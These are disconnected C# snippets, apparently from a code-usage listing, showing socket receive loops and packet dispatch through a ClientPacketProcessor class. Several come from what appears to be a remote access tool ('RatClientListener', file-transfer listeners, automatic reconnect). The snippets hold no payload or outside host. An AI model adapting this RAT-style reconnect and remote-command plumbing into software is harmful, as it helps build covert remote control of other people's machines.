public MainForm() { InitializeComponent(); cmbOutputFmt_SelectedIndexChanged(null, null); m_processor = new ClientPacketProcessor(); }
protected override void OnConnect() { EODataChunk wrap = new EODataChunk(); StartDataReceive(wrap); m_packetProcessor = new ClientPacketProcessor(); //reset the packet processor to allow for new multis }
static void Main() { SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding); if (LoadFeatures.Load() == false) { return; } ClientPacketProcessor.Initialize(); Client = new ClientConnect(); FileClientPacketProcessor.Initialize(); FileTransferConnect _FileTransfer = new FileTransferConnect(); Application.Run(); }
private void Form1_Load(object sender, EventArgs e) { //Events ClientDisconnectEvent.ClientDisconnect += new ClientDisconnectHandler(onClientDisconnect); CheckForIllegalCrossThreadCalls = false; settings.MainForm = this; _listener = new List <RatClientListener>(); _FileListener = new List <FileClientListener>(); maxConnections = new MaxConnections(); File_maxConnections = new File_MaxConnections(); ClientPacketProcessor.Initialize(); FileClientPacketProcessor.Initialize(); }
private void Client_BeginReceive(IAsyncResult ar) { try { if (_client.EndReceive(ar) > 0) { _buffer = new byte[BitConverter.ToInt16(_buffer, 0) - 2]; if (_buffer.Length > 10000) //ignore packets that are bigger then 10kb { return; } if (_buffer.Length > 0) { _client.Receive(_buffer, 0, _buffer.Length, SocketFlags.Partial); _buffer = CryptEngine.Crypt(_buffer); //Process the packet. Type pck = ClientPacketProcessor.ProcessPacket(_buffer); if (pck != null) { ReceiveBasePacket rbp = (ReceiveBasePacket)Activator.CreateInstance(pck, this, _buffer); rbp.Run(); } Read(); return; } } } catch { if (!_client.Connected) { TryToConnect(); } } }
private void ReadCallbackStatic(IAsyncResult ar) { try { if (_socket.EndReceive(ar) > 1) { if (_FloodProtector.HandleFlood(_socket.RemoteEndPoint) == false) { Disconnect(); return; } //Get length from the buffer, convert to Int16 and read the rest of the packet. _buffer = new byte[BitConverter.ToInt16(_buffer, 0) - 2]; //-2 for the length, we already read that :P if (_buffer.Length > 10000) //ignore packets that are bigger then 10kb { return; } if (_buffer.Length > 0) { _socket.Receive(_buffer, _buffer.Length, SocketFlags.Partial); _buffer = CryptEngine.Crypt(_buffer, NetworkKey); Type pck = ClientPacketProcessor.ProcessPacket(_buffer, _socket.RemoteEndPoint.ToString()); if (pck != null) { ReceiveBasePacket rbp = (ReceiveBasePacket)Activator.CreateInstance(pck, this, _buffer); rbp.Run(); settings.ReceivedPackets++; } else { //unknown packet received Disconnect(); return; } Read(); return; } else { //Disconnect when no length is given... maybe flood? just disconnect :P Disconnect(); return; } } else { Disconnect(); return; } } catch { if (!_socket.Connected) { Disconnect(); } return; } }